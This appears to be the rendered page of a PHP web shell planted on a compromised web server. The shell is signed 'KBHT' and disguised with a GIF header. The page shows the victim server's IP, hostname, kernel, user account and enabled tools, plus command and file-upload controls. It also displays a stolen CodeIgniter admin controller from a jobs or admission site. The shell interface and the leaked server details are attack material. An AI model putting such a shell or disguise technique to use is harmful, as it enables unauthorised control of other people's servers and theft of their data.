GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.218.245.179
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../jobs/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../jobs/application/controllers/admin/Designation.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of Designation
 *
 * @author Softpro India Pvt. Ltd
 */
class Designation extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("admin/DesignationManagement");
         $this->load->model("admin/CategoryManagement");
    }

    public function index() {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["designations"] = $this->DesignationManagement->getDesignations()->result();
            $this->load->view("admin/designations", $viewData);
        } else {
            redirect("admin");
        }
    }

    public function createDesignation() {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["categories"] = $this->CategoryManagement->getCategories('T','F')->result();
            $this->load->view("admin/createDesignation", $viewData);
        } else {
            redirect("admin");
        }
    }

    public function saveDesignation() {
        if ($this->sessionvalidator->validateSession()) {
            $this->form_validation->set_rules("designationName", "designation name", "required", array("required" => "Enter Designation Name."));
            $this->form_validation->set_rules("description", "designation description", "required", array("required" => "Enter Designation Description."));
            $this->form_validation->set_rules("cm_id", "category", "required", array("required" => "Select Category."));


            if ($this->form_validation->run() == false) {
                $this->createDesignation();
            } else {
                $desig_name = addslashes(trim($this->input->post("designationName")));
                $desig_desc = addslashes(trim($this->input->post("description")));
                $cm_id = $this->input->post("cm_id");

                if (sizeof($this->DesignationManagement->getDesignationByName($desig_name,'',$cm_id)->result()) > 0) {
                    $this->session->set_flashdata("errorMessage", "Designation Already Exist With This Name.");
                    $this->createDesignation();
                } else {
                    $designationData = array(
                        "cm_id" => $cm_id,
                        "desig_name" => $desig_name,
                        "desig_desc" => $desig_desc,
                        "desig_active_status" => "T",
                        "desig_added_on" => date("Y-m-d H:i:s"),
                        "desig_updated_on" => date("Y-m-d H:i:s"));
                    if ($this->DesignationManagement->saveDesignation($designationData) > 0) {
                        $this->session->set_flashdata("successMessage", "Designation Saved Successfully.");
                        $this->index();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Save Designation.");
                        $this->createDesignation();
                    }
                }
            }
        } else {
            redirect("admin");
        }
    }

    public function editDesignation($desig_id) {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["categories"] = $this->CategoryManagement->getCategories('','F')->result();
            $viewData["designation"] = $this->DesignationManagement->getDesignationByID($desig_id)->result()[0];
            $this->load->view("admin/editDesignation", $viewData);
        } else {
            redirect("admin");
        }
    }

    public function updateDesignation() {
        if ($this->sessionvalidator->validateSession()) {
            $this->form_validation->set_rules("designationName", "designation name", "required", array("required" => "Enter Designation Name."));
            $this->form_validation->set_rules("description", "designation description", "required", array("required" => "Enter Designation Description."));
            $this->form_validation->set_rules("cm_id", "category", "required", array("required" => "Select Category."));
            $desig_id = $this->input->post("desig_id");
            if ($this->form_validation->run() == false) {
                $this->editDesignation($desig_id);
            } else {
                $desig_name = addslashes(trim($this->input->post("designationName")));
                $desig_desc = addslashes(trim($this->input->post("description")));
                $cm_id = $this->input->post("cm_id");
                if (sizeof($this->DesignationManagement->getDesignationByName($desig_name, $desig_id,$cm_id)->result()) > 0) {
                    $this->session->set_flashdata("errorMessage", "Designation '" . $desig_name . "' Already Exist With Same Name.");
                    $this->editDesignation($desig_id);
                } else {
                    $designationData = array(
                        'desig_id'=>$desig_id,
                        "cm_id" => $cm_id,
                        "desig_name" => $desig_name,
                        "desig_desc" => $desig_desc,
                        "desig_updated_on" => date("Y-m-d H:i:s"));
                    if ($this->DesignationManagement->updateDesignation($designationData)) {
                        $this->session->set_flashdata("successMessage", "Designation Updated Successfully.");
                        $this->index();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Update Designation.");
                        $this->editDesignation($desig_id);
                    }
                }
            }
        } else {
            redirect("admin");
        }
    }

    public function toggleDesignationStatus($desig_id, $changedStatus) {
        if ($this->sessionvalidator->validateSession()) {
            $designationData = array(
                'desig_id'=>$desig_id,
                'desig_active_status' => $changedStatus
            );
            if ($this->DesignationManagement->updateDesignation($designationData)) {
                $this->session->set_flashdata('successMessage', 'Designation Status Updated Successfully.');
                redirect("admin/Designation");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Designation Status.');
                redirect("admin/Designation");
            }
        } else {
            redirect("admin");
        }
    }

    public function toggleDesignationDeleteStatus($desig_id, $changedStatus) {
        if ($this->sessionvalidator->validateSession()) {
            $designationData = array(
                'desig_id'=>$desig_id,
                'desig_delete_status' => $changedStatus, 
                'desig_updated_on' => date("Y-m-d H:i:s")
            );
            if ($this->DesignationManagement->updateDesignation($designationData)) {
                $this->session->set_flashdata('successMessage', 'Designation Deleted Successfully.');
                redirect("admin/Designation");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Delete Designation.');
                redirect("admin/Designation");
            }
        } else {
            redirect("admin");
        }
    }

}

KBHT - 2023